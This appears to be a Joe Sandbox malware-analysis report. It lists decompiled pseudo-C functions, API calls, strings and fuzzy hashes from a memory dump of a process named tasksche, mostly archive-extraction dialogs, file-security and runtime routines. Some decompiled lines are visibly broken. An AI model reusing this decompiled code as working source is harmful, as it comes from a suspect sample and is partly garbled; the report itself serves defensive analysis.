							}
							_t30 = _t27 - 0xb;
							if(_t30 == 0) {
								E0040D033(0x800, 0x44387a,  &_v2052);
								goto L23;
							}
							if(_t30 != 3) {
								goto L23;
							}
							_t36 = CharUpperW(_v2052 & 0x0000ffff);
							if(_t36 == 0) {
								L15:
								 *0x441874 = 1;
								L16:
								 *0x44184a = 1;
								goto L23;
							}
							_t37 = _t36 - 0x31;
							if(_t37 == 0) {
								goto L15;
							}
							_t38 = _t37 - 1;
							if(_t38 == 0) {
								 *0x441874 = 2;
								goto L16;
							}
							_t59 = _t38 != 0x1e;
							if(_t38 != 0x1e) {
								goto L23;
							}
							_push(0x800);
							_push( &_v2050);
							_push(0x44287a);
							goto L22;
						}
						L23:
						_t21 = E00410C58(_t59, _t45,  &_v2056, 0x400);
						_t45 = _t21;
					} while (_t21 != 0);
					return _t21;
				}
			}

0x0040d654
0x0040d66a
0x0040d66f
0x0040d673
0x0040d77e
0x0040d679
0x0040d67f
0x0040d67f
0x0040d686
0x0040d6b1
0x0040d6b4
0x0040d750
0x0040d757
0x0040d758
0x0040d75d
0x0040d75d
0x00000000
0x0040d75d
0x0040d6ba
0x0040d6bb
0x0040d738
0x0040d73b
0x0040d73d
0x0040d745
0x0040d747
0x0040d747
0x0040d745
0x00000000
0x0040d73b
0x0040d6bd
0x0040d6c0
0x0040d724
0x00000000
0x0040d724
0x0040d6c5
0x00000000
0x00000000
0x0040d6d8
0x0040d6db
0x0040d705
0x0040d705
0x0040d70f
0x0040d70f
0x00000000
0x0040d70f
0x0040d6dd
0x0040d6e0
0x00000000
0x00000000
0x0040d6e2
0x0040d6e3
0x0040d6f9
0x00000000
0x0040d6f9
0x0040d6e5
0x0040d6e8
0x00000000
0x00000000
0x0040d6ea
0x0040d6f1
0x0040d6f2
0x00000000
0x0040d6f2
0x0040d762
0x0040d76b
0x0040d770
0x0040d772
0x00000000
0x0040d77a

APIs

CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D6AC
CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D6D3

Strings

-, xrefs: 0040D696
z8D, xrefs: 0040D71F

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CharUpper
String ID: -$z8D
API String ID: 9403516-4016828469
Opcode ID: 6e6643a8c5453ab08bb62a8daeba662149a01c951e73f69a55f52de3d79d5015
Instruction ID: 6cb870ea5eaa954c7fe556a8e422e29c236d8a0fbf71e72dd1f5d8a9bc66e192
Opcode Fuzzy Hash: 6e6643a8c5453ab08bb62a8daeba662149a01c951e73f69a55f52de3d79d5015
Instruction Fuzzy Hash: FE21A5B9C0011995DB60B7E98D48BBB66A8FB41304F144177E548B32D2EA7CDECC8B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040680A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040680A(void* __ebx, void* __edx, void* __edi) {
				void* __esi;
				int _t24;
				int _t26;
				void* _t29;
				int _t32;
				void* _t34;
				struct _SECURITY_DESCRIPTOR* _t35;
				void* _t42;
				long _t43;
				struct _SECURITY_DESCRIPTOR* _t45;
				void* _t47;
				struct _SECURITY_DESCRIPTOR* _t51;

				_t42 = __edi;
				_t34 = __ebx;
				E0041A4DC(E004294DA, _t47);
				E0041AAF0(0x1010);
				_t45 = 0;
				 *(_t47 - 0x1c) = 0;
				 *((intOrPtr*)(_t47 - 0x18)) = 0;
				 *((intOrPtr*)(_t47 - 0x14)) = 0;
				 *((intOrPtr*)(_t47 - 0x10)) = 0;
				_push(0);
				_push(_t47 - 0x1c);
				 *((intOrPtr*)(_t47 - 4)) = 0;
				_t24 = E00402C8B( *((intOrPtr*)(_t47 + 8)), __edx);
				if(_t24 != 0) {
					__eflags =  *0x4335a2;
					if( *0x4335a2 == 0) {
						_t32 = E00406553(L"SeSecurityPrivilege");
						__eflags = _t32;
						if(_t32 != 0) {
							 *0x4335a1 = 1;
						}
						E00406553(L"SeRestorePrivilege");
						 *0x4335a2 = 1;
					}
					__eflags =  *0x4335a1;
					_push(_t34);
					_push(_t42);
					_t43 = 7;
					if( *0x4335a1 != 0) {
						_t43 = 0xf;
					}
					_t35 =  *(_t47 - 0x1c);
					_t45 = SetFileSecurityW;
					_t24 = SetFileSecurityW( *(_t47 + 0xc), _t43, _t35);
					__eflags = _t24;
					if(_t24 == 0) {
						_t26 = E0040A3DC( *(_t47 + 0xc), _t47 - 0x101c, 0x800);
						__eflags = _t26;
						if(_t26 == 0) {
							L11:
							_t28 =  *((intOrPtr*)(_t47 + 8)) + 0x1e;
							__eflags =  *((intOrPtr*)(_t47 + 8)) + 0x1e;
							_t29 = E0040639F(0x4f, _t28,  *(_t47 + 0xc));
							_t45 = 0x4335ac;
							E00401000(_t29);
							_t24 = E004062BA(0x4335ac, 1);
						} else {
							_t24 = SetFileSecurityW(_t47 - 0x101c, _t43, _t35);
							__eflags = _t24;
							if(_t24 == 0) {
								goto L11;
							}
						}
					}
					__eflags =  *(_t47 - 0x1c);
					_pop(_t42);
					_pop(_t34);
				} else {
					_t51 =  *(_t47 - 0x1c);
				}
				if(_t51 != 0) {
					_push( *(_t47 - 0x1c));
					_t24 = E0041A506(_t34, _t42, _t45, _t51);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0xc));
				return _t24;
			}

0x0040680a
0x0040680a
0x0040680f
0x00406819
0x0040681f
0x00406821
0x00406824
0x00406827
0x0040682a
0x00406830
0x00406834
0x00406835
0x00406838
0x0040683f
0x00406849
0x00406850
0x00406857
0x0040685c
0x0040685e
0x00406860
0x00406860
0x0040686c
0x00406871
0x00406871
0x00406878
0x0040687f
0x00406880
0x00406883
0x00406884
0x00406888
0x00406888
0x00406889
0x0040688c
0x00406897
0x00406899
0x0040689b
0x004068ac
0x004068b1
0x004068b3
0x004068c4
0x004068ca
0x004068ca
0x004068d0
0x004068d5
0x004068dc
0x004068e5
0x004068b5
0x004068be
0x004068c0
0x004068c2
0x00000000
0x00000000
0x004068c2
0x004068b3
0x004068ea
0x004068ee
0x004068ef
0x00406841
0x00406841
0x00406841
0x004068f0
0x004068f2
0x004068f5
0x004068fa
0x004068ff
0x00406907

APIs

__EH_prolog.LIBCMT ref: 0040680F

Part of subcall function 00402C8B: __EH_prolog.LIBCMT ref: 00402C90

SetFileSecurityW.ADVAPI32(00000000,00000007,?,?,?,?,00000000,?,00406EF5,?,?,?,?,0040773A,?,?), ref: 00406897
SetFileSecurityW.ADVAPI32(?,00000007,?,00000000,?,00000800,?,0040773A,?,?,?,?,?,00000000,0040839C,?), ref: 004068BE

Strings

SeRestorePrivilege, xrefs: 00406867
SeSecurityPrivilege, xrefs: 00406852

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileH_prologSecurity
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2167059215-639343689
Opcode ID: 668843457d3f320ef4c041a0620e582976ae6b8cc17d27ec4e60122bb8f86131
Instruction ID: e80266907105dbdc6ea336272c15ef3f26093cba4c1f52b7c6092cd65192489b
Opcode Fuzzy Hash: 668843457d3f320ef4c041a0620e582976ae6b8cc17d27ec4e60122bb8f86131
Instruction Fuzzy Hash: 8D219372901259BEDF21AF55DC01BAF77689B04758F00803BF802B62C1C7BC8A559BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040E1B2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040E1B2(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16) {
				void* _v4100;
				void* __ebx;
				struct HWND__* _t15;
				void* _t25;
				void* _t26;
				signed int _t27;
				signed int _t29;
				void* _t35;
				struct HWND__* _t38;
				void* _t40;
				void* _t41;

				E0041AAF0(0x1000);
				if( *0x44397a == 0) {
					_t15 =  *0x441844;
					_t38 = _t15;
					if(_a4 == 2 && IsWindowVisible(_t15) == 0) {
						_t38 = 0;
					}
					E0040A386(_t26, _a8, _a12,  &_v4100, 0x800);
					if( *0x44cf20 != 0 || DialogBoxParamW( *0x4335a4, L"GETPASSWORD1", _t38, E0040D477,  &_v4100) != 0) {
						_t25 = _a16;
						_t27 = 0x40;
						memcpy(_t25, 0x44ce20, _t27 << 2);
						_t41 = _t41 + 0xc;
						asm("movsw");
					} else {
						_t25 = _a16;
						E0040D033(_t25, _t25, 0x42a73c);
						 *0x44183c = 1;
					}
					if( *((char*)(_t25 + 0x100)) != 0) {
						_t40 = _t25;
						_t35 = 0x44387a;
						goto L11;
					}
				} else {
					_t25 = _a16;
					_t40 = 0x44387a;
					_t35 = _t25;
					L11:
					_t29 = 0x40;
					memcpy(_t35, _t40, _t29 << 2);
					asm("movsw");
				}
				return  *((intOrPtr*)(_t25 + 0x100));
			}

0x0040e1ba
0x0040e1c9
0x0040e1de
0x0040e1e3
0x0040e1e5
0x0040e1f2
0x0040e1f2
0x0040e206
0x0040e212
0x0040e24e
0x0040e253
0x0040e25b
0x0040e25b
0x0040e25d
0x0040e236
0x0040e236
0x0040e240
0x0040e245
0x0040e245
0x0040e266
0x0040e268
0x0040e26a
0x00000000
0x0040e26a
0x0040e1cb
0x0040e1cb
0x0040e1ce
0x0040e1d3
0x0040e26f
0x0040e271
0x0040e272
0x0040e274
0x0040e274
0x0040e280

APIs

IsWindowVisible.USER32 ref: 0040E1E8
DialogBoxParamW.USER32 ref: 0040E22C

Strings

z8D, xrefs: 0040E1CE
z8D, xrefs: 0040E26A
GETPASSWORD1, xrefs: 0040E221

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1$z8D$z8D
API String ID: 3157717868-3779298832
Opcode ID: 8a5930b9f1bd4a7920270691445133db6bb9d1af5357342886f90841ecad1a96
Instruction ID: 2ec29a5f94ea44b227bd1a9c17bea14e87d691145e51ce1093468d312523c58d
Opcode Fuzzy Hash: 8a5930b9f1bd4a7920270691445133db6bb9d1af5357342886f90841ecad1a96
Instruction Fuzzy Hash: B71159717002445BEB21DF62AC80B973B99AB08765F08007BFD446B2D1C7BC8CA0C76D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D3EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040D3EE(void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				void* _t11;
				void* _t17;
				void* _t21;
				struct HWND__* _t22;
				WCHAR* _t23;

				_t23 = _a16;
				_t22 = _a4;
				if(E004060EE(_t21, _t22, _a8, _a12, _t23, L"RENAMEDLG", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t11 = _a8 - 0x110;
				if(_t11 == 0) {
					 *0x44cf28 = _t23;
					SetDlgItemTextW(_t22, 0x65, _t23);
					SetDlgItemTextW(_t22, 0x66,  *0x44cf28);
					goto L10;
				}
				if(_t11 != 1) {
					L5:
					return 0;
				}
				_t17 = (_a12 & 0x0000ffff) - 1;
				if(_t17 == 0) {
					GetDlgItemTextW(_t22, 0x66,  *0x44cf28, 0x800);
					_push(1);
					L7:
					EndDialog(_t22, ??);
					goto L10;
				}
				if(_t17 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0040d3f2
0x0040d3f6
0x0040d411
0x0040d46e
0x00000000
0x0040d470
0x0040d416
0x0040d41b
0x0040d454
0x0040d461
0x0040d46c
0x00000000
0x0040d46c
0x0040d41e
0x0040d42a
0x00000000
0x0040d42a
0x0040d424
0x0040d425
0x0040d447
0x0040d44d
0x0040d430
0x0040d431
0x00000000
0x0040d431
0x0040d428
0x0040d42e
0x00000000
0x0040d42e
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D431
GetDlgItemTextW.USER32(?,00000066,00000800), ref: 0040D447
SetDlgItemTextW.USER32 ref: 0040D461
SetDlgItemTextW.USER32 ref: 0040D46C

Strings

RENAMEDLG, xrefs: 0040D3FD

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: RENAMEDLG
API String ID: 1770891597-3299779563
Opcode ID: 762bcebfea9f2beca08e3ffb6bbc5115bfac0753acb3b7587415e25b8287d6f5
Instruction ID: a809f9c23db95260371581c6ee5cd384337b37eb9584205a8113e0e6bfd29c9a
Opcode Fuzzy Hash: 762bcebfea9f2beca08e3ffb6bbc5115bfac0753acb3b7587415e25b8287d6f5
Instruction Fuzzy Hash: 6F01D836A4421877DB205F949C41FBB3B69E705F50F544036FA01B61D0C6BAA8269BAE

Uniqueness

Uniqueness Score: -1.00%

Function 00405F3C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00405F3C(intOrPtr __ecx, void* __eflags) {
				void* __edi;
				void* __esi;
				intOrPtr _t31;
				void* _t33;

				E0041A4DC(E0042961B, _t33);
				_push(__ecx);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_t31 = __ecx;
				_push(0x12c);
				_push(__ecx);
				 *((intOrPtr*)(_t33 - 0x10)) = __ecx;
				E0041C6B6(__ecx, __eflags);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_push(0x178);
				_t22 = _t31 + 0x4b4;
				_push(_t31 + 0x4b4);
				 *((intOrPtr*)(_t33 - 4)) = 0;
				E0041C6B6(_t31, 0);
				 *((char*)(_t33 - 4)) = 1;
				E0040CA39(_t31 + 0xa9c);
				 *((intOrPtr*)(_t31 + 0xa98)) = 0;
				E0041A820(0, _t31, 0, 0x4b0);
				E0041A820(0, _t22, 0, 0x5e0);
				 *((intOrPtr*)(_t31 + 0x4b0)) = 0;
				 *((intOrPtr*)(_t31 + 0xa94)) = 0;
				E0041A820(0, _t31 + 0xba4, 0, 0x400);
				 *[fs:0x0] =  *((intOrPtr*)(_t33 - 0xc));
				return _t31;
			}

0x00405f41
0x00405f46
0x00405f4a
0x00405f4f
0x00405f54
0x00405f56
0x00405f58
0x00405f5d
0x00405f5e
0x00405f61
0x00405f66
0x00405f6b
0x00405f70
0x00405f72
0x00405f77
0x00405f7f
0x00405f80
0x00405f83
0x00405f8e
0x00405f92
0x00405f9e
0x00405fa4
0x00405fb0
0x00405fc2
0x00405fc8
0x00405fce
0x00405fde
0x00405fe6

APIs

__EH_prolog.LIBCMT ref: 00405F41
_memset.LIBCMT ref: 00405FA4
_memset.LIBCMT ref: 00405FB0
_memset.LIBCMT ref: 00405FCE

Strings

r, xrefs: 00405F4A, 00405F66

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog
String ID: r
API String ID: 3013590873-3291565091
Opcode ID: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction ID: fcb346f71e1c6521d09fa93fcec7134e0802dca7d1a5d7d76298086db4932847
Opcode Fuzzy Hash: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction Fuzzy Hash: 880144B17417407AD220EB669C46FEBBAA8DB85B18F00041FB255661C2C7FC5941CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0041DAD4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0041DAD4(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t25;

				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E0041E9B4(_t23, __edx, _t25, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x42d8f0);
						E0041FA9C(_t23, _t25, __esi);
						_t19 =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E0041FAE1(E00423F89(_t23, _t24, _t25));
					}
				}
			}

0x0041dad4
0x0041dade
0x0041dae5
0x0041db04
0x0041db0b
0x0041db12
0x0041db17
0x0041db17
0x0041db17
0x00000000
0x0041dae7
0x0041dae7
0x0041daec
0x0041db19
0x0041db19
0x0041db1c
0x0041daee
0x0041daf3
0x0041ec8a
0x0041ec8c
0x0041ec91
0x0041ec9b
0x0041eca0
0x0041eca2
0x0041eca6
0x0041ecb1
0x0041ecb1
0x0041ecc2
0x0041ecc2
0x0041daec

APIs

__getptd.LIBCMT ref: 0041DAEE

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DAFF
__getptd.LIBCMT ref: 0041DB0D

Strings

csm, xrefs: 0041DAE7
MOC, xrefs: 0041DAE0

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction ID: 7ce874268d128f0e9cc5e4e4439fd54cca852ebc00a18d755191ea46e2ae681e
Opcode Fuzzy Hash: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction Fuzzy Hash: 8EE048755141048FDB50976AC445FA93394EB48318F1504A7E80CC7353D77CE8C0558B

Uniqueness

Uniqueness Score: -1.00%

Function 00421BA7 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00421BA7(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x42d9d0);
				E0041FA9C(__ebx, __edi, __esi);
				_t31 = E0041E9B4(__ebx, __edx, __edi, _t35);
				_t15 =  *0x430da4; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0041EFA3(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x430ca8; // 0x23516a0
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x430880;
								if(__eflags != 0) {
									_push(_t33);
									E0041A506(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x430ca8; // 0x23516a0
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x430ca8; // 0x23516a0
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00421C42();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00421495(_t29, _t31, 0x20);
				}
				return E0041FAE1(_t33);
			}

0x00421ba7
0x00421ba7
0x00421ba7
0x00421ba7
0x00421ba9
0x00421bae
0x00421bb8
0x00421bba
0x00421bc2
0x00421be3
0x00421be9
0x00421bed
0x00421bf0
0x00421bf3
0x00421bf9
0x00421bfb
0x00421bfd
0x00421c00
0x00421c06
0x00421c08
0x00421c0a
0x00421c10
0x00421c12
0x00421c13
0x00421c18
0x00421c10
0x00421c08
0x00421c19
0x00421c1e
0x00421c21
0x00421c27
0x00421c2b
0x00421c2b
0x00421c31
0x00421c38
0x00421bca
0x00421bca
0x00421bca
0x00421bcf
0x00421bd3
0x00421bd8
0x00421be0

APIs

__getptd.LIBCMT ref: 00421BB3

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__amsg_exit.LIBCMT ref: 00421BD3
__lock.LIBCMT ref: 00421BE3
InterlockedDecrement.KERNEL32(?), ref: 00421C00
InterlockedIncrement.KERNEL32(023516A0), ref: 00421C2B

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 74e5199f409b0e250bccaee7949834ceac0f5e9eb7994a886cf19954e8f2a892
Instruction ID: 6d4d6cab2ca80c9586acdc371c3e58b42f7918e3e726cea937426c24952e9619
Opcode Fuzzy Hash: 74e5199f409b0e250bccaee7949834ceac0f5e9eb7994a886cf19954e8f2a892
Instruction Fuzzy Hash: 8401C439B40731ABC728AF56A40679E7760BF10724F94012BE804AB3A1CB3C6991DBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00411E81 Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411E81(void* __eflags, short* _a4, short* _a8, int _a12) {
				void* _t8;
				int _t12;
				int _t22;
				int _t23;

				_t8 = E0041A7AF(_a4);
				_t22 = _a12;
				if(_t8 + 1 >= _t22) {
					_t23 = _t22;
				} else {
					_t23 = E0041A7AF(_a4) + 1;
				}
				if(E0041A7AF(_a8) + 1 >= _t22) {
					_t12 = _t22;
				} else {
					_t12 = E0041A7AF(_a8) + 1;
				}
				return CompareStringW(0x400, 0x1001, _a4, _t23, _a8, _t12);
			}

0x00411e89
0x00411e8e
0x00411e95
0x00411ea5
0x00411e97
0x00411ea2
0x00411ea2
0x00411eb3
0x00411ec1
0x00411eb5
0x00411ebe
0x00411ebe
0x00411ee0

APIs

_wcslen.LIBCMT ref: 00411E89
_wcslen.LIBCMT ref: 00411E9A
_wcslen.LIBCMT ref: 00411EAA
_wcslen.LIBCMT ref: 00411EB8
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,?,00000000,?,00409F60,__rar_,00000000,00000006,?,?,00000000), ref: 00411ED5

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction ID: fd224344e63f22d7e065bf6fa160c6ce473b51916626f6dd2966927fcf662de7
Opcode Fuzzy Hash: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction Fuzzy Hash: 5FF02436148148BFDF126F92EC01CDE3F26DB81375B244027FE298A0A0D635C9A29789

Uniqueness

Uniqueness Score: -1.00%

Function 0040272E Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 405
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040272E(intOrPtr __ecx, signed int __edx) {
				signed int _t142;
				char _t143;
				void* _t147;
				signed int _t148;
				unsigned int _t149;
				signed int _t153;
				signed int _t170;
				signed int _t173;
				void* _t178;
				signed int _t179;
				void* _t182;
				signed char _t183;
				void* _t196;
				void* _t205;
				signed char _t207;
				void* _t217;
				signed char _t218;
